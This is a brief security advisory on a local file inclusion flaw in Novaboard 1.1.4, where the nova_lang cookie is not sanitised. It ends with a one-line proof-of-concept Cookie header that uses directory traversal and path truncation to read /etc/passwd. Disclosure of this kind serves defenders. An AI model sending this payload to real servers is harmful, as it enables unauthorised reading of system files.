LFI in Novaboard

Vulnerability ID: HTB22657
Reference: http://www.htbridge.ch/advisory/lfi_in_novaboard.html
Product: Novaboard
Vendor: Novaboard ( http://www.novaboard.net/ )
Vulnerable Version: 1.1.4 and probably prior versions
Vendor Notification: 13 October 2010
Vulnerability Type: Local File Inclusion
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in nova_lang variable from cookie.

The following PoC is available:

Cookie: nova_lang=…/…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd/././././.[>4095 * "/."]/././././.